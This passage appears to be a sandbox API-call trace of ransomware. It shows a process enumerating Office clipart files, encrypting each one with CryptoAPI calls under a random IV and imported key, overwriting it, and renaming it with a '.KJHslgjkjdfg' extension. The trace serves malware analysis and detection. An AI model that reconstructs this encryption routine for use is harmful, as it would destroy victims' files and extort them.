"c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.207] GetProcessHeap () returned 0x2ef0000 [0201.207] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.207] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.207] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.207] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.209] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.209] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.209] GetProcessHeap () returned 0x2ef0000 [0201.209] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.209] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.209] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.209] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.209] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.209] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.210] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.210] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.210] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.210] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.210] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.210] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.210] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1a88, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1a88, lpOverlapped=0x0) returned 1 [0201.211] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a90, dwBufLen=0x1a90 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1a90) returned 1 [0201.211] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.211] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1a90, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1a90, lpOverlapped=0x0) returned 1 [0201.211] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.211] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1b64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.211] SetEndOfFile (hFile=0x130) returned 1 [0201.214] GetProcessHeap () returned 0x2ef0000 [0201.214] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.214] GetProcessHeap () returned 0x2ef0000 [0201.214] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.214] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107528.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107528.wmf.kjhslgjkjdfg")) returned 1 [0201.215] CloseHandle (hObject=0x130) returned 1 [0201.216] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6890, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107544.WMF", cAlternateFileName="")) returned 1 [0201.216] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.216] GetProcessHeap () returned 0x2ef0000 [0201.216] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.216] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.216] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.217] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.217] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.217] GetProcessHeap () returned 0x2ef0000 [0201.217] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.217] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.217] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.217] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.220] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.220] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.220] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.220] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.220] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.220] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.220] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.220] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.220] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x6890, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x6890, lpOverlapped=0x0) returned 1 [0201.221] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6890, dwBufLen=0x6890 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x6890) returned 1 [0201.222] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.222] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x6890, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x6890, lpOverlapped=0x0) returned 1 [0201.222] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.222] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x6964, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.222] SetEndOfFile (hFile=0x130) returned 1 [0201.225] GetProcessHeap () returned 0x2ef0000 [0201.225] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.225] GetProcessHeap () returned 0x2ef0000 [0201.225] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.225] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107544.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107544.wmf.kjhslgjkjdfg")) returned 1 [0201.226] CloseHandle (hObject=0x130) returned 1 [0201.226] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107658.WMF", cAlternateFileName="")) returned 1 [0201.226] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.227] GetProcessHeap () returned 0x2ef0000 [0201.227] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.227] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.227] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.227] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.227] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.227] GetProcessHeap () returned 0x2ef0000 [0201.227] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.227] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.227] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.227] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.230] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.230] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.230] WriteFile (in: hFile=0x130, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.230] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.230] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.230] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.230] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.230] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.230] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x1ba0, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x1ba0, lpOverlapped=0x0) returned 1 [0201.231] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ba0, dwBufLen=0x1ba0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x1ba0) returned 1 [0201.231] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.231] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x1ba0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x1ba0, lpOverlapped=0x0) returned 1 [0201.232] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.232] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1c74, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.232] SetEndOfFile (hFile=0x130) returned 1 [0201.234] GetProcessHeap () returned 0x2ef0000 [0201.235] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.235] GetProcessHeap () returned 0x2ef0000 [0201.235] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.235] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107658.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107658.wmf.kjhslgjkjdfg")) returned 1 [0201.236] CloseHandle (hObject=0x130) returned 1 [0201.236] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107708.WMF", cAlternateFileName="")) returned 1 [0201.236] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.252] GetProcessHeap () returned 0x2ef0000 [0201.252] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.252] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.252] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.252] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.255] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.255] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.255] GetProcessHeap () returned 0x2ef0000 [0201.255] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.255] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0201.255] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.255] WriteFile (in: hFile=0x130, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0201.255] WriteFile (in: hFile=0x130, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.255] WriteFile (in: hFile=0x130, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0201.255] WriteFile (in: hFile=0x130, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0201.255] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0201.255] WriteFile (in: hFile=0x130, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0201.255] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.255] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.255] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.256] ReadFile (in: hFile=0x130, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x12c8, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x12c8, lpOverlapped=0x0) returned 1 [0201.257] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x12d0, dwBufLen=0x12d0 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x12d0) returned 1 [0201.257] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.257] WriteFile (in: hFile=0x130, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x12d0, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x12d0, lpOverlapped=0x0) returned 1 [0201.257] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0201.257] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x13a4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0201.257] SetEndOfFile (hFile=0x130) returned 1 [0201.260] GetProcessHeap () returned 0x2ef0000 [0201.260] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0201.260] GetProcessHeap () returned 0x2ef0000 [0201.260] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0201.260] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107708.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107708.wmf.kjhslgjkjdfg")) returned 1 [0201.261] CloseHandle (hObject=0x130) returned 1 [0201.261] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107712.WMF", cAlternateFileName="")) returned 1 [0201.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107712.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107712.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0201.262] GetProcessHeap () returned 0x2ef0000 [0201.262] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0201.262] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0201.262] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0201.262] WriteFile (in: hFile=0x130, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0201.264] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0201.264] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0201.264] GetProcessHeap () returned 0x2ef0000 [0201.264] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0201.264] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, 